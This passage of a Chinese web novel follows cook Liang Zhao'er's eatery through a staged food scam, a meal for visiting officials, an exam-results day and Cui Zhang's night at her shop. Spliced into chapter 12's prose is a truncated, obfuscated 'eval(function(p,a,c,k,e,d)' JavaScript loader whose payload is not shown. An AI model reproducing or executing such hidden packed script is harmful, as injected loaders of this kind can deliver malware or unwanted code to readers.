正在一旁给马添水的张虎，听闻此言，手中的水瓢猛地一颤，险些砸到马头，他满脸震惊，眼睛瞪得滚圆，大声说道：“你这糊涂人，上次在饭桌上说的好儿郎，还包括你自己？” 张龙一脸理所当然，胸脯微微一挺道：“她是寡妇我是鳏夫，世间哪里还有比这更配的了？” 这话让张虎一时语塞。 原先还在村里时，张龙便由他爹娘定下了一门娃娃亲，是隔壁一农户之女。原本二人有打小的感情基础，日子过得还算顺遂，只可惜后来进城置办下了家业，张母却愈发地看不上大儿媳。不仅嫌大儿媳娘家老来打秋风，还嫌她没给张龙添个一儿半女。用尽各类秘方，大儿媳总算怀上身子了，却不料落了个一尸两命。 “......先不说你喜欢梁家娘子哪点，就说她从前和主家那层关系，要是真成了，你还打算继续在这儿干活吗？”张虎沉默片刻，开口道。 张龙摆摆手道：“日子还长，我后半辈子总要找个女人，还不如找些个知根知底的。梁娘子性子好，人不仅能干还会挣钱，这次娘肯定满意。” 张虎苦笑道：“你可问过人家的意思？” 张龙急忙说：“这还不是你跟玉梳俩一句话的是？你让你女人在梁娘子面前多替我美言几句不就使得了？” “玉梳把她当宝贝似的，要是帮你说话，害得我未过门的娘子跟我生分了可怎么办？”张龙轻哼一声，恰好一阵秋风拂过，将马厩下的旗子吹得呼呼作响。 风从窗棂如游蛇般钻进堂屋，吹得食肆里的招牌晃晃悠悠，相互碰撞，发出“零零”的声响。 “难不成有人在背后骂我？”梁照儿连着打了三个喷嚏，伸手按住摇晃的木牌，暗自腹诽道。 梁照儿将攀膊扯下，连饮了两盏茶才歇下。她今日去取在羊巷李木匠那定制的餐具，结果又没忍住添置了些家具，将食肆内部简单装潢了一番。 靠着渡口的摊子依旧支着，专门在那儿卖胡饼，买胡饼的顾客大多用油纸包着，拿了就走，不需要堂食。食肆正堂里，摆着四张大桌，四张小桌。正堂右边，她请泥瓦匠砌了一堵拱门，门框上简单贴了几块彩砖装饰，挂着竹帘遮挡内部，这里她打算做成简易包厢。 一切收拾妥当，她拍了拍手上的薄灰，心满意足地说：“总算有个样子了。” 第二日，天还未亮，梁照儿便早早起身。 李鸿带着付文兴和几位同僚常来买早餐，梁家食肆几乎成了州衙的第二食堂，这也给梁照儿带来不少稳定的客源，也渐渐忙了起来。 关大娘和贺家的约好去建隆寺听俗讲，今日店里全靠梁照儿一人忙活，难免有些分身乏术，故而她只站在炉灶前，忙着炸胡饼。 今日排队的人格外多，不少食客等得不耐烦，嘴里开始嘟囔些难听的话。 “今日店里只奴一人，还请诸位多担待些。”梁照儿忙得汗都顾不上擦，连连向众人致歉。 好不容易把前头的单子都做完，刚能喘口气，就见一位颤颤巍巍的老大爷，拄着拐杖，带着一脸菜色、捂着肚子的儿子朝摊前走来。 “我家大郎吃了这家黑心食肆的胡饼，就闹肚子，大家可得给评评理！”老大爷扯着嗓子叫嚷道。 原本排队买胡饼的食客，听了这话，顿时有些动摇，不少人低声议论几句，便悄悄离开，转去别的食摊买早餐。 梁照儿尽力露出个和善的微笑，安抚道：“老人家，您先别着急，若是真吃出问题，我一定给您个交代。” 那大爷用力敲了敲拐杖，掏出包过胡饼的油纸，怒声呵斥：“这就是证据！” “既然如此，我今日生意也不做了，陪老人家去回春堂，请最擅长治腹痛的郎中，给令郎瞧瞧到底害了什么病。”梁照儿将筷子插进筷桶，调整好情绪，冷静道。 大爷一听要去回春堂看诊，脸色骤变，忙给他儿子使了个眼色。 他儿子立刻心领神会，“扑通”一声瘫倒在地，连滚三圈，扯着嗓子喊：“疼死我啦，疼死我啦！” 大爷立马配合着，抄起拐杖就朝梁照儿挥去，嘴里骂骂咧咧道：“妖妇，你那些腌臜事，别以为没人知道……” 话还没说完，“嗖”的一声，一枚石子不知从何处飞来，精准打掉大爷手中的拐杖。 大爷还没回过神，又一枚石子“嗖”地击中他后膝弯。大爷脚下一滑，“噗通”向前扑了个狗吃屎。 他儿子哪还顾得上装肚子疼，赶忙起身去扶。又是一枚石子飞来，“啪”地打断了他系裤腰的绳子。 眨眼间，裤子就掉了下来。 围观人群见状，指向他一阵哄笑。他儿子神色慌张，匆忙环顾四周，却怎么也找不到石子的来处，大叫道：“她是巫女，能操控东西害人！” 他再顾不得装精，只能一手紧紧攥着裤腰，一手挽住父亲，撒腿朝家里狂奔。 蔡宣季见人群逐渐散去，立刻侧身闪进夹道里，将帽檐又往下压了压，几乎遮住大半张脸。 梁照儿同样举目四望，一心想找出那个在暗处动手脚的人。寻了半晌，一无所获，不过她瞧得出来并无恶意。 被这对父子这么一闹，食肆今日的生意算彻底歇了菜。 蔡宣季整个人松散地倚在街对面的墙上，默默注视着正在忙碌的梁照儿，嘴角勾起一抹似有若无的微笑。 他也不明白自己为何会出手帮这个仅有几面之缘的女子，他向来不喜欢与人过多牵扯——即便与崔璋相交，也总是听对方说得多，每当谈及自己的状况，他总是三缄其口。 蔡宣季敛去脸上的阴郁之色，恢复了往日没心没肺的模样，绕了个圈儿，从另一头来到梁照儿的食肆前。 他双手托腮趴在案前，嗓音里仿佛带着微微上扬的钩子，说道：“娘子，近来生意如何？” 梁照儿抬头望向他，将抹布扔在桌 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面团醒好后，取一梅花模具压出红白梅花，下进滚水里，煮透后捞出放入早就熬好的鸡汤中。 粉白的梅花被鸡汤里的清油推着在飘浮在木碗中游来游去，蔡宣季闭眼轻嗅了一口，捧着碗小心翼翼地喝了一口汤。 梁照儿瞧见蔡宣季那白皙面庞，被热气一熏，仿若薄施粉黛，浮上一层淡淡的绯色。 她忍不住抬起手背，轻轻掩住唇，笑意自眼角眉梢泄露出来。 “笑什么呢？” 蔡宣季察觉到她的笑意，侧过头来，一双眼睛在热气氤氲中亮晶晶的，满是探究。 梁照儿轻轻摇了摇头，嘴角噙着一抹难以化去的笑意，“倒没什么，只是瞧着你，莫名想起一位故人。” 听闻此言，蔡宣季耳朵竖了起来，机警问道：“谁？” 梁照儿努了努嘴，示意门口正以和蔡宣季同样姿势喝水的大黄，“喏，就是它。” 蔡宣季一听，顿时恼羞成怒，声音拔高，“……哪里像！小爷我这般风流倜傥、玉树临风，和这狗能有什么相似之处？” 他这一嗓子太过响亮，正喝水的大黄被吓得浑身一哆嗦，茫然地抬起头，湿漉漉的狗眼瞧了瞧蔡宣季，又看向梁照儿。 瞧着梁照儿和大黄笑闹作一团，蔡宣季也露出了一个实心实意的微笑。 他长成的环境里，见证过太多虚与委蛇的情意和数不清的恶意，此刻他却真切感觉到了一种再简单不过的开心。 送走了蔡宣季，梁照儿坐在灯下仔细思考着今日这场突如其来的“食闹”，这一看就是有预谋的行动。 至于是谁，她心中早已有了计量。何人会提及所谓的那些“腌臜事”，再显而易见不过了。 等玉梳再来时，梁照儿将这日发生的事情一五一十地说给她听。 “都怪阿娘，好端端地非去建隆寺听什么俗讲，哪日不能去听？你面生，那起子人想给个下马威也是有的。”玉梳忿忿道。 11. 巡视港口与红糖姜茶 “我哪里就是这个意思？大娘帮我是情分，我不好怪她，不过此事我总觉着是有人故意而为之。”梁照儿摇了摇头，若有所思道。 玉梳叹了口气说：“你莫不是以为是崔家人？” 梁照儿想起崔璋在食摊前说的话，将事情告诉玉梳，又结合从前种种，冷哼一声道：“自然是因为他有前科。” 玉梳执了梁照儿的手，宽解道：“我并不是为璋官人说项，只是我在崔家服侍一场，是看着他到如今的。他性子虽冷，却也是个读书人，并不爱搬弄口舌是非，何况他如今日子也不好过。” 听及此处，梁照儿心中也有些动摇，莫非真是自己错怪崔璋了？ 玉梳又缓缓说：“女子立世艰难，旁人想要置女子于万劫不复之地，大可在她的名节上做手脚。这事从前是这样，以后也是这样。” 梁照儿握紧拳头，咬牙道：“难道就凭他们空口白牙地污蔑人吗？” 玉梳也不知说些什么，二人之间陷入了沉默。 半晌，玉梳才说：“我原想劝你再找个男人嫁了，谣言便不攻自破。可我瞧着崔家如今——越发觉得成亲也不算个什么好事。” 梁照儿问道：“可是又出事了？” “原以为珍大官人只是在外头喝些花酒，谁成想他还染上了赌。赌坊的人每日都上门要债，可他却躲在屋子里不肯出去，竟推了大娘子到外头去替她周旋。可怜刘大娘子怀着两个多月的身孕，还要料理这些糟心事！”玉梳恨恨道。 她最厌恶负心的男人，此刻对崔大郎更是没一副好脸色。 梁照儿啐道：“好没用的男人，花钱在外头爽快时浑然不顾家里头，出了事倒知道躲回来了！” 黄和赌一向是相辅相成的，崔大郎染上赌博并不意外，令她惊讶的是，刘氏居然有了身孕。 原书中并未写大房留下了子嗣。 玉梳一阵忧心，“眼瞧着崔家就要被败光了，若真有那日……还不知道去哪寻个活计做。” 梁照儿将头靠在玉梳的肩窝里，轻声说：“那你就来食肆帮我，正好我一个人忙不过来，咱们两个人还如以前那样一处就伴岂不好？” 玉梳摸了摸梁照儿的脸，喃喃道：“好照儿……” 轩窗半开，丝丝凉意沁润着屋子，一个惊雷在空中炸开，又淅淅沥沥的下起了小雨。 清晨，一辆马车驶过泥泞的官道，一阵风将车幔吹开，里头正襟坐着两位大人。 韩知州在小厮的搀扶下从马车上下来，一双乌皮鞋上被溅了几滴泥点子。 小厮作势就要俯下身去替韩知州擦鞋，却被韩知州一把抓起，“不打紧，雨天哪有不湿鞋的。” 王通判连忙说：“快替知州撑起伞。” 二人在渡口边等了一小会见雨势不见小，小厮朝一旁望了望，建议道：“奴瞧那边有家食肆开着，不如二位大人先去避避雨。” 韩知州顺势望去，欣然道：“那便去吧。” 一行人进了食肆，小厮将伞收起，冲着里头喊道：“店主人可在？” 梁照儿听见外头来了客人，连忙从后头出来笑着说：“奴家在的。” 小厮见店主人是位娘子，不由放柔了声音拱手道：“我家主君来此避雨，不知可有私密些的包厢歇歇脚？” 梁照儿瞧着小厮身后两位普通身材的中年男子都身着不凡，想来非富即贵，立刻说：“自是有的，请几位官人随奴家来便是。” 引着三人进了右侧的包厢，梁照儿又回后厨准备做一盅红糖姜茶给他们祛寒。 虽不知他们来此地做甚，但服侍好了准没错。 梁照儿将腌制好的生姜洗净切丝，放入锅中加水煮开后小火再煮上十分钟，最后倒入红糖搅拌至融化，关火盖上盖子又焖了五分钟。 再掀开，一股浓郁的红糖味儿便蹿了出来。 她用勺子舀起一勺仔细尝了尝，见十分入味，才倒进青瓷盅里，连着蜜饯一同送了过去。 包厢里开了一扇窗，能够清楚地看见渡口外头的情况，梁照儿进去时正听见韩知州说：“这位置倒好。” 她轻轻将红糖姜茶放在桌上，退到一边笑着说：“二位官人冒雨进来，想必受了寒气，喝一碗热腾腾的姜茶祛祛寒罢。” 王通判和煦道：“多谢娘子。” 韩知州指着一旁的小厮说：“给我这小仆也拿个碗来，若论受寒，他可比我多。” 那小厮受宠若惊，连声称不敢与主人共饮。 “都是爹饭娘羹养大的，哪里有什么分别，你只喝就是了。”韩知州摆了摆手。 “有的有的，食肆里头别的不多，就是碗多。”梁照儿笑着打趣道，转身便去后厨拿碗。 她捧了三只大海碗来，递了一只给小厮，那小厮倒也露出个真心实意的笑容来。 梁照儿知趣地退了出去，将空间还给两位贵人。 今日下雨，外头没什么人，梁照儿便坐在竹椅上替大黄梳毛。 不一会儿李鸿包着一堆图纸进来了，连声说：“方才可有两位气质不凡的官人进来了？瞧着他们的车马都在外头。” 梁照儿见是李鸿，连忙将大黄放下起身道：“有的呀，李官人，瞧着都是大人物哩！” 她替李鸿束了伞放在一边，又引着他进去。李鸿对着面前的两位贵人道：“是下官来迟了。” 梁照儿心下一惊，今日这食肆也算是蓬荜生辉。李鸿本就是州衙里头的官吏，能被他称为上官的人，只怕已是平民百姓能见到的最顶层人士了。 她不敢多待，唯恐触了贵人眉头，连忙退了出去。 临走前，梁照儿被叫住。韩知州说：“再拿个碗进来。” 她应了一声，即刻照做。 四人喝了一口姜茶，皆长长地叹了口气。 李鸿扭头对着梁照儿说：“娘子可上些拿手的吃食来，也好叫咱们尝尝鲜。” 梁照儿抿嘴笑着说：“那便拣您爱吃的热干面上罢。” 李鸿觑了韩知州一眼，又想到自己才上任没几天，便在大领导面前丢了脸，面上立刻通红一片。 他将事情自嘲般地讲与韩知州听，博得知州哈哈一笑说：“我记起来了。” 王通判摇了摇头，指着李鸿无奈地说：“你也算是成了名，樊川现在看见个人恨不得就要掰过来瞧瞧人家的仪容是否整洁。” 李鸿嘴上虽说着“下官不敢”，心里却喜滋滋的，一件无伤大雅的小事便拉近了同一把手和二把手之间的距离，合算 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听闻韩知州如此说，二人皆起身恭敬应是。 恰巧此刻梁照儿打了竹帘侧身进来，将吃食依次放在圆桌上。她做了红丝馎饦、梅花汤饼、定胜糕、热干面和羊肉胡饼。 众人停下讨论，皆注目看向桌上的吃食。 李鸿指着热干面无奈说：“还记着第一次吃有些吃不惯，可后来吃多了倒离不开了，有时半夜饿得不行了就想吃这个。” 他这话说的风趣，无形之中也拉高了众人的期待。等着韩知州先动筷后，余下的人才纷纷动了起来。 韩知州祖籍在北方，热干面的接受度其高。王通判倒一般，连说有些干噎得慌。 餍足后，韩知州抬手用了一旁跟着呈上来的沉香饮子，叹道：“果真不错，哪怕是我家那不成器的大郎来，也挑不出毛病。” 王通判听见他又提起韩景彦会心一笑，知州为人很是谦逊可对自家儿子却时常满口.交赞。身为他的同僚，王通判每日听他炫耀自家孩子已经听到耳朵起茧子。 他从韩知州的口中已经得知了韩景彦是何时出生、何时会走路，又是何时会写字的。 甚至连韩景彦的学习进度他都了如指掌。 “我记着景哥儿前不久才下场考试了吧？想来放榜的时间也快到了。”王通判随口问道。 韩知州正想找人聊此事，他按耐住内心的激动，说道：“正是，也不知此番能否考中。” 王通判笑着说：“稚圭兄的担忧可是过了，景哥儿天资聪颖，又得你亲自教导，哪有不中的道理。” “哪里，哪里。” 韩知州笑得嘴都合不拢，却仍谦虚道。 梁照儿听见屋子里头谈到了整修港口一事便暗暗记下了。这是不可多得的信息差，无论古代现代，做生意之人想要成功都得踩在风口上。 港口开发不失为一个机遇。 修建时不少工匠民夫应征而来，衣食住行都是再基本不过的开销，她这临街的食肆不怕没得赚。 这般想着，她这几日卖胡饼都更有了几分力气。 12. 解试放榜与鱼桐皮面 宝绮小姑娘近来多了几分烦恼，扬州城里头的官家小姐和她年纪相仿的少，即便有也说不来几句话。 她歪七扭八地坐在院子里，望着开始凋落一地的树叶有些悲秋伤春。 崔氏坐在里面绣着帕子，看着门外的小女孩觉得有些好笑，小小的一个人儿如今也知愁滋味了。 “宝绮，来帮娘瞧瞧这针往哪儿起才好？”崔氏朝宝绮轻轻招手，将她唤至身侧。 宝绮拖着步子走到崔氏身边坐下，双脚勾起，头晕道：“阿娘，你知道我最不擅长女红。” 崔氏点了点她的鼻头，无奈道：“你这丫头，赶明儿出嫁了岂不是连给新郎官亲手做的鞋袜都要让侍女给你绣？” “让她们去做就是了！请她们来，总要做些事呀。爹爹说了，能人善用。不过我倒不情愿嫁人，屋里屋外一摊子事，哪有在家做女儿来得痛快？”宝绮不满道。 只有这些在家被娇宠着的姑娘出嫁时才是真心实意地哭嫁。 像梁照儿这种但凡沾点血缘关系的都想将她卖出去赚银子的，哪怕嫁到殷实人家冲喜也得乐颠颠地去了。 不过崔氏并不打算将这些残酷的事实告诉给宝绮。 她哪里舍得这小姑娘吃半分苦。 “你如今也十四了，即便再留你，也留不了几时了。”崔氏叹了口气说道。 宝绮捂住耳朵尖声道：“我不听，我不听！” 崔氏拿她没法子，只好轻轻拍着她的后背，细声哄道：“娘不说就是了，你若嫌在家无趣，不如下帖子请杜大人家的姑娘来做客？” 宝绮想起杜嫣然那个闷葫芦性子，心中就有些嫌弃，“嫣然姐姐整日里都不说话，我做什么都只知道说好。” 崔氏摇了摇头，她家宝绮跟着父兄书读了不少，可心智仍未开。 杜嫣然是韩知州下属家的姑娘，请到府上做客家里必定是千叮咛万嘱咐过的。她本也是个万事揣在心里的性子，更不肯多说了一句错的给自家父兄添麻烦。 崔氏借这事仔细地跟宝绮讲清了利害关系，宝绮闷闷道：“嫣然姐姐也太过小心了些，我又不会将她怎么样！” “你爹爹外放做官时才有了你，你自小也算野惯了，日后回了京城里，这样的事情还多哩！”崔氏温声道。 她见宝绮低着头不说话，心知她是听进去了，也不再敲打她。 日子如水般过去，很快就到了放榜的日子。 知州府里，人人都紧张得很，早早地就起来准备。 崔氏比平日里早起了两个时辰一直跪在文昌帝君面前求他保佑韩景彦，平日里惯常懒睡的宝绮也没能逃掉。 宝绮跪在神像前嘀咕道：“那榜早早地都写好了，只等到时揭开，临时抱佛脚有甚么用。” 崔氏闻言拧了她脸一把，“你这孩子，心诚则灵、临阵磨枪不快也光这样的话未必没听过不成？” 宝绮吐了吐舌头，娇俏道：“我觉着哥哥肯定能中。” 崔氏还欲说些什么就听见拂柳进来回禀，“大娘子，外头车马已经套好了，郎君已在门外头候着了。” 宝绮扶着崔氏出了门，韩景彦身着宝蓝色襕袍，背对着院门而立，见母亲和妹妹出来连忙转身回来规规矩矩地行了个礼。 他眉目柔和，含笑道：“见过母亲，还劳烦母亲今日陪儿子去看榜。” 崔氏看着韩景彦，心中不免有些紧张，“咱们这就出发早些去候着。” 宝绮轻声笑道：“哥哥如此出挑，也不怕被扬州城里头的首富榜下捉婿捉了去。” 韩景彦一脸无奈地拍了拍宝绮的头，“又偷偷看话本子了？” 三人不多闲话，坐上马车便朝试院门口去了。 官道上，百姓瞧见马车驶过自觉地退到了路旁。不知是哪条巷子里请了戏班子来唱戏，锣鼓声此起彼伏。 饶是内心镇定的韩景彦此刻也有些紧张了。 榜前已经聚了不少来看榜的学子和陪同的家人们。 韩府的马车停在一边，韩景彦打了帘子朝外头看去，对着身旁的小厮立文道：“悄悄地去前头看看，千万莫惊动旁人。” 立文费了不少劲才挤到前头去，不小心踩了身旁的人一脚，连忙说：“对不住，这位郎君。” 崔璋被踩了一脚，却也顾不上生气，只淡淡应了一声。 蔡宣季双手抱头，仰着后脑勺语调懒散道：“我说，子圭，你何必这么紧张。在书院里你就名列前茅，中举对于你来说只怕是再简单不过的事了，不像我……” 他话还没说完就被崔璋打断，“闭嘴。” 蔡宣季不说话了，只陪着崔璋站在一旁。 等了小半个时辰，几个衙役才从试院里出来，怀里捧着几张大纸。衙役两两分工，一人铺纸，一人贴榜。 贴完榜后，一旁的小吏敲响手中的锣，唱道：“今解试放榜，诸生功名分晓！上榜者自此踏上青云路，未中者亦莫灰心，来年再试！” 说罢，众学子纷纷涌上前看自己的名次。 立文从头开始看起，没看几个名字就看到了韩景彦，立刻高喊道：“中了，中了！我家郎君是经魁！” 随着他一声高喝，人群中也开始七嘴八舌起来。 有中了的老秀才仰天瘫倒在地止不住地大哭，也有初次下场便榜上有名的年轻学子，此刻更是春风得意马蹄疾。 立文刚一出人群便瞧见了韩景彦，他向韩景彦禀告了其名次后，二人立刻喜洋洋地走向马车。 蔡宣季心不在焉地望向一边，他本没打算看榜，心中料定自己与此次秋闱无缘。不料，崔璋却只着最后一名对他说：“你中了。” 他眯着眼睛仔细瞧了半晌，才惊喜道：“怎么给我这样的人混进去了？” 崔璋薄唇珉成一条线，面色凝重。 他将榜上从头至尾每个字都拆骨入腹，细细咀嚼了一番，都未见他的名字。 蔡宣季兴高采烈道：“你在哪儿，我来帮你看看。” “别看了，没有。” 崔璋强装镇定，又冲蔡宣季道了声喜，才回了崔家。 刚一进崔家，他就听见大房里头争吵不休的声音。 刘氏站在绣凳上指着崔大郎大骂，“你还不足？脏的臭的，都拉了你屋里去，如今还要去赌！……你也配做个男人？眼皮子浅，手爪子还轻，样样做不得的，我失心疯了嫁了你这么个腌臢货，简直是与奴才做奴才的奴才！” 她本就瘦小，此刻扶着隆起过分的肚子，活像着欲振翅吓退大鹅的老母鸡。 崔大郎本就嫌弃刘氏没生的寡淡，性子又硬，看十分有十二分的不满意，此刻见她越骂越凶，而自己嘴又笨说不过，更是憋了一肚子的火。 他将堂屋里一张紫檀木做的小几举过头顶，使出浑身的劲往地上一掷，那小几顿时被摔得炸开来，一只木腿打到刘氏身上。 刘氏脚一滑，从绣凳上跌了下来，庄嬷嬷尖叫一声立刻上前扶住她。 “我的肚子，我的肚子！” 刘氏捂着肚子大喊着，额上的汗珠像断了线似的掉。 崔大郎不屑道：“打量着蒙谁呢，你的身子比地里干活的牛还结实，你是屁股摔在地上的，跟肚子有甚么关系？还想诓老子不成！” 崔璋见大房越闹越不像话，便欲进去劝劝。 刘氏瞧见崔璋进来，睨了崔大郎一眼，抽噎着说：“璋哥儿来的正巧，你也瞧瞧你这大哥，你们崔家人一条心，专门害我！” 崔大郎不想在弟弟面前丢脸，转了个话题说：“你今日去看榜了，可中了？” “未中。” 刘氏一听这话气得更狠了，骂道：“一个二个的，都要我养！你们崔家当真是打的好算盘，知道的是娶了个老婆回来，不知道的是买了只蠢驴回来给你们家没日没夜地拉磨！” 崔璋无言，只沉默地退了出去。 家中仆人已经散去大半，满目萧瑟的园子里，茉莉花塌在土里，洁白小巧的花瓣上还印着几只脚印。 崔璋出了崔家的门，只觉浑身摇摇欲坠。他花光了兜里最后的几文钱在酒铺买了一坛子劣酒，劣酒入喉呛得他连连咳嗽。 他漫无目的地游荡在街上，等再回过神来，已然走到了梁照儿的食肆前。 崔璋就这样站在对面看着梁照儿系着围裙在炉灶前忙来忙去。整个崔家乱成一团，这里却是难得的宁静。 暝色来天际，阴云覆苑墙。再等他喝完那一坛子酒，天已全黑了下来。停在云中许久的雨，此刻轰然倾泻了下来。 “哎呀呀，好大的雨。” 梁照儿举着一盏灯笼，快步走到门前将门闩抱起，预备关门。 忽然间一只脚将门抵住，大黄觉察到异常立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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崔璋哑然，扬起下颚看着梁照儿，一滴清泪从右眼眼角滑过。 他红着脸，一狠心说：“我……我替你洗就是了！” 梁照儿松了手，抚了抚弄皱的衣服，起身将关到一半的门合上。回身看向崔璋，只见他身上墨绿色的直裰被雨水沾湿已成了黑色，勾勒出薄薄的一片身形。 “想得美。” 梁照儿又说：“出了崔家，我可不伺候你，要洗澡自己烧水。还有，这儿没男人衣服给你换。” 崔璋听见这话心中反而坐定，他钻身去了后院，蹲在炉子旁烧水。 他并非什么娇生惯养的大少爷，在书院里自己照料自己惯了，烧个水不算什么。 梁照儿瞥了他一眼，转身去了厨房做宵夜。她本就不习惯一天只吃两餐，又迎来了位不速之客，便预备做鱼桐皮面解解馋。 她先将桐树嫩皮洗净，切成小段后放入锅中加水小火焖煮。等到汤汁变绿，过滤取汁晾凉备用，在和面过程中用桐皮汁代替水。 面团发好后，将其擀成薄面皮切条下入锅中煮到浮起。将鲈鱼片成薄片，用盐和酱油腌制，又将香菇和木耳等配菜切丝和鱼肉一起入锅翻炒。 最后，梁照儿将炒好的鱼肉与面条一起煮了半刻中，淋上香油，一道鱼桐皮面便做好了。 她将面端到桌上，崔璋恰好从楼上下来。 他只着中衣，瞥了一眼旁边的外衣，讷讷道：“外袍还未干。” 梁照儿无所谓地摆了摆手，“来吃面吧，约摸着你一天也没吃什么东西。” “你怎么知道？”崔璋看向碗中奶白色的汤面，垂眸问道。 梁照儿露出一个这还用想的表情，便开始动筷享用难得的夜宵。 崔璋本不好意思坐，端着手站在一旁，最后实在抵不过香味才一屁股坐在对面狼吞虎咽起来。 “……不得不说，你的厨艺确实很好。”崔璋喃喃道。 梁照儿挑了挑眉，“谢谢你的肯定，虽然也不是很需要。” 崔璋觑了她一眼，本想说些什么，却又住了嘴。 半晌，他才说：“原先倒是我误会你了。” 他沉默许久才说出从未对人诉说的心里话，开始向一个自己从前并未正眼打量的女子剖析自己，将完整的自己剥给她看。 二人说了一阵，梁照儿将衣架上的衣服取下来，丢到崔璋头上，说道：“快穿上吧，你今夜睡下面。” 13. 霜降、柿子与如意酥 崔璋记着第一次见梁照儿洗头是在崔家的海棠树下，她从腋下伸出脸恍恍惚惚地瞧了他一眼，二人闹得不欢而散。 他想着这女人好泼辣的性子，说不得两句就指着他一通骂，将他气得跳脚。 如今他住在她的屋子里，看着她在水池边一遍遍地梳洗头发，却凭空觉得她多了几分洁白漂亮。 门前的银杏树历经了一夜风雨，站直了身子，上有几只雀儿在叽叽喳喳地叫唤。 崔璋一时间怔了神，梁照儿连喊了他好几声才回过神来，“你说什么？” “帮我拿一条干的浮子来，得将头发包起来才好。”梁照儿白了他一眼说道。 崔璋淡淡地应了声，起身从后面架子上抽下干毛巾，却不递到她手里，作怪地搭在她纤长的脖颈处。 他看见面前女人张牙舞爪的模样，心头浮起一阵涟漪。想也没想就说出心底的那句话：“我来替你包罢。” 梁照儿睨了他一眼，红着脸啐道：“要你籁包什么包！” 崔璋退回一边，看着她麻利捯饬好自己，将木簪插进乌发里，低着头在案前揉面。假如他娘还在的话，应该也会是这样吧，他想着。 梁照儿回头瞧见崔璋像个呆雁似的站在那里，“好了，酒还没醒呢？我可没工夫煮解酒汤给你吃，亲娘也难得有这般体贴的！” 见他不作声，梁照儿的手在他眼前摆了摆，“喂，你在听我讲吗？” 崔璋应了声，又对梁照儿说：“你这人，竟一点猜不透你的心思。” 见他没头没尾地来了这么一句，梁照儿也顶了一句，“你也一样，我也猜不透你的心思！” 关大娘正是此刻推了门进来，玉梳虽在崔家做事，可她并不认得崔璋，照例问了好后，借着备菜的间隙把梁照儿拉到一旁说：“你别尽糟践自己，读书人都是顶顶靠不住的，戏文里头都说啦‘自古文人多薄幸’！” 梁照儿觑了一眼，无奈道：“这都什么跟什么，他是前头老爷的小儿子。他赶到家来了，总不好把他关在外头。” 关大娘“哦”了一声，又与梁照儿咋舌：“那我是不是得去多说两句好话，玉梳还在他家做事，大小算个主子。” “您想去就去罢。”梁照儿应道。 关大娘摸到了崔璋身边，端着手笑道：“小官人，我是你屋里做事的女使玉梳的妈，你来了有要吃的要喝的尽管记在我账上，也让我老婆子在你面前挂个脸！” 崔璋望了梁照儿一眼淡淡说：“如今我也算不得甚么主子了，倒该随着照儿叫您一声大娘。” 梁照儿调笑道：“按理说你不该称喊我的名字，顺着辈份该叫大娘声姑奶奶才对。” 关大娘连忙摆手，直说没这样的理，崔璋却顺从道：“姑奶奶。” 这一声给关大娘吓得连连后退，“小官人可别作弄我老婆子。” 外头来了个熟客，猛嗅了一口胡饼的油香气，又往里头一瞄好奇道：“梁娘子，今日店里好生热闹，你官人倒很体贴，还来前头帮你。” 梁照儿还没来得及反驳，就被崔璋一句似是而非的话堵了回去，“这位客官以后常来。” 那食客笑嘻嘻地挤了挤本就不大的眼睛说：“自然，自然。” 近来新征的工匠和民夫已经在港口开始修堤，梁照儿的食肆生意被带着也红火了不少，她本欲和崔璋好好掰扯一番，却被一个接一个的客人绊住了脚。 “娘子，下碗热干面，还是这东西得劲，吃了管饱。”一浑身亮着油光的汉子操着一口外地口音在外头喊了声便自顾自地进来坐在大堂里。 来吃早餐的不在少数，大多都是附近的居民和应征的民夫。食客们三三两两地拼成一桌，正在外头讲得热火朝天。 梁照儿应了声，下好了面就端了进来。侍候好了客人，她对着崔璋小声道：“前头人多，你到后头呆着去。” 过了大半个时辰等梁照儿再忙完了，欲去后头寻崔璋时，却只发现他留下的一张字条，上头笔走龙蛇地写着几个大字，“回了，勿念”。 他以为梁照儿不识字，还贴心地画了一幅插图，上头是一个小人挑着包袱走在路上。 梁照儿将纸条拧成一团丢到一边，心道：谁要挂念你这泼皮？ 等到早餐卖完了，梁照儿才坐在包厢里同关大娘一起算账。她不会用算盘，只能坐在一边看关大娘拨拉。 “这样算下来，若是每天都能有今天的进账，别说缴清房租了，再从黄爷那赁两个小奴来也够够了。”关大娘笑着说。 梁照儿头摇得跟拨浪鼓似的，请人来干活倒使得，买两个小奴却让她觉着有些不妥。她道：“自己做也就是了，何苦多养两张嘴吃饭。” 关大娘点了点头，“也是。” 一朝秋暮露成霜，霜降的时节早晚冷，梁照儿摆了一屉从果铺里买的软柿放在窗沿上，有食客来买早餐，她便笑着说：“霜降吃丁柿，不会流鼻涕，诸位官人娘子们拿个软柿去尝尝。” “娘子心善，这样好的果子便赠给我们了？”有食客问道。 梁照儿笑着说：“这些果子哪里比得过各位常来给奴家捧场的情谊？” 一位小娘子说：“娘子真会说话，梁家食肆的东西又干净又便宜，咱们也情愿不是？” 梁照儿趁机推出食肆的新品，她笑着说：“娘子若是吃着这柿子好，也可尝尝这柿柿如意酥。” 她打开了另一个竹筐，里头摆着圆乎乎的一堆捏成柿子模样的糕点，看着即讨巧又可爱。 “柿子可是个好东西，不仅清热润肺、健脾益胃，还能解酒毒，家里官人爱吃酒的不妨买些回去。” 梁照儿这番话一下子抓住了围在摊前的小娘子们的心：“吃了如意酥，来年必定事事如意！” 娘子们听的心动，一人要了一小包。梁照儿边收钱边装糕点，又说：“娘子们吃的好了，不妨替奴家宣传宣传。四时节气，梁家食肆都有应季的吃食，各位不妨多来瞧瞧。” 正巧碰见李鸿从渡口巡视了一圈回来，他腋下正夹着放图纸的竹筒，手里还攥着半张凉了的饼。 梁照儿将摊上的事情交给关大娘，立刻提了三小包如意酥叫住李鸿，“大官人，老远就瞧着您过来，从前也是结下缘的，官人事忙奴家不敢打扰，可瞧见了不孝敬一番就说不过去了！” 她将如意酥推到李鸿手边，“这是新做的如意酥，官人赏脸尝尝，若觉着不错这还有些尽管带去与同僚们试试。” 李鸿曲颌瞧了一眼如意酥，笑道：“娘子见外了，恭敬不如从命，在下就收下了。” 梁照儿应了一声，又转身进去给李鸿拿了个竹筐，“官人手上东西多难行，给您个竹篮挎着，下次再来时还给奴家罢。” 李鸿瞧破了梁照儿稚嫩的心思，也乐得受用，“那便多谢娘子了。” 他提着几包如意酥回了州衙，将竹篮放在柜子上，拔腿便去了正堂。 韩知州正在案前批阅公文，见他一来便将笔放下，“翼云 